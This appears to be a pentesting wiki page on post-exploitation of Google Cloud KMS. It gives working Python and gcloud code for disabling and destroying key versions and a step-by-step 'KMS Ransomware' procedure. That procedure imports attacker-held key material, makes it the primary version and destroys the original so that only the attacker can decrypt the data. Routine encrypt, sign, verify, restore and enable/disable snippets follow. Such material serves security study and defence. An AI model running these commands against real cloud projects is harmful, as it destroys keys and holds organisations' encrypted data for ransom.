# GCP - KMS Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## KMS

Find basic information about KMS in:

{{#ref}}
../gcp-services/gcp-kms-enum.md
{{#endref}}

### `cloudkms.cryptoKeyVersions.destroy`

An attacker with this permission could destroy a KMS version. In order to do this you first need to disable the key and then destroy it:

<details>

<summary>Disable and destroy key version (Python)</summary>

```python
# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
    """
    Disables a key version in Cloud KMS.
    """
    # Create the client.
    client = kms.KeyManagementServiceClient()

    # Build the key version name.
    key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

    # Call the API to disable the key version.
    client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
    """
    Destroys a key version in Cloud KMS.
    """
    # Create the client.
    client = kms.KeyManagementServiceClient()

    # Build the key version name.
    key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

    # Call the API to destroy the key version.
    client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```

</details>

### KMS Ransomware

In AWS it's possible to completely **steal a KMS key** by modifying the KMS resource policy and only allowing the attackers account to use the key. As these resource policies doesn't exist in GCP this is not possible.

However, there is another way to perform a global KMS Ransomware, which would involve the following steps:

- Create a new **version of the key with a key material** imported by the attacker

```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```

- Set it as **default version** (for future data being encrypted)
- **Re-encrypt older data** encrypted with the previous version with the new one.
- **Delete the KMS key**
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data

#### Cloud Storage + CMEK permission model

When objects in Cloud Storage are encrypted with CMEK, the decrypt/encrypt calls to KMS are done by the project's **Cloud Storage service agent whose email is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com)**, not directly by the end user reading the object.

This means that to read something encrypted by a CMEK:

- The project's cloud storage service agent must have KMS permissions over the used KMS key (typically `roles/cloudkms.cryptoKeyEncrypterDecrypter`).
- The user only needs object read permissions (for example `storage.objects.get`). He doesn't need permissions over the KMS key.

Thsi means that to control acces to encrypted data with the KMS key it's needed to add/rmeove KMS permissions to the projects cloud storage service agent.

Note that there is a project-level binding like `roles/cloudkms.cryptoKeyEncrypterDecrypter` for the Storage service agent will still allow decrypt with the keys in the same project.


#### Here are the steps to import a new version and disable/delete the older data:

<details>

<summary>Import new key version and delete old version</summary>

```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key \
  --plaintext-file my-plaintext-file.txt \
  --ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key \
  --ciphertext-file my-encrypted-file.enc \
  --plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --import-method "rsa-oaep-3072-sha1-aes-256" \
  --protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
    --import-job my-import-job \
    --location us-central1 \
    --keyring kms-lab-2-keyring \
    --key kms-lab-2-key \
    --algorithm "google-symmetric-encryption" \
    --target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key \
  --primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key \
  --ciphertext-file my-encrypted-file.enc \
  --plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
  --location us-central1 \
  --keyring kms-lab-2-keyring \
  --key kms-lab-2-key \
  --version 1

```

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>Encrypt data with symmetric key (Python)</summary>

```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
    """
    Encrypts data using a symmetric key from Cloud KMS.
    """
    # Create the client.
    client = kms.KeyManagementServiceClient()

    # Build the key name.
    key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

    # Convert the plaintext to bytes.
    plaintext_bytes = plaintext.encode('utf-8')

    # Call the API.
    encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
    ciphertext = encrypt_response.ciphertext

    # Optional: Encode the ciphertext to base64 for easier handling.
    return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```

</details>

### `cloudkms.cryptoKeyVersions.useToSign`

<details>

<summary>Sign message with asymmetric key (Python)</summary>

```python
import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
    """
    Sign a message using an asymmetric key version from Cloud KMS.
    """
    # Create the client.
    client = kms.KeyManagementServiceClient()

    # Build the key version name.
    key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

    # Convert the message to bytes and calculate the digest.
    message_bytes = message.encode('utf-8')
    digest = {'sha256': hashlib.sha256(message_bytes).digest()}

    # Call the API to sign the digest.
    sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
    return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>Verify signature with asymmetric key (Python)</summary>

```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
    """
    Verify a signature using an asymmetric key version from Cloud KMS.
    """
    # Create the client.
    client = kms.KeyManagementServiceClient()

    # Build the key version name.
    key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

    # Convert the message to bytes and calculate the digest.
    message_bytes = message.encode('utf-8')
    digest = {'sha256': hashlib.sha256(message_bytes).digest()}

    # Build the verify request and call the API.
    verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
    return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```

### `cloudkms.cryptoKeyVersions.restore`
The `cloudkms.cryptoKeyVersions.restore` permission allows an identity to restore a key version that was previously scheduled for destruction or disabled in Cloud KMS, returning it to an active and usable state.

```bash
gcloud kms keys versions restore <VERSION_ID> \
  --key=<KEY_NAME> \
  --keyring=<KEYRING_NAME> \
  --location=<LOCATION> \
  --project=<PROJECT_ID>
```

### `cloudkms.cryptoKeyVersions.update`
The `cloudkms.cryptoKeyVersions.update` permission allows an identity to modify the attributes or the state of a specific key version in Cloud KMS, for example by enabling or disabling it.

```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
  --key=<KEY_NAME> \
  --keyring=<KEYRING_NAME> \
  --location=<LOCATION> \
  --project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
  --key=<KEY_NAME> \
  --keyring=<KEYRING_NAME> \
  --location=<LOCATION> \
  --project=<PROJECT_ID>
```

</details>

{{#include ../../../banners/hacktricks-training.md}}


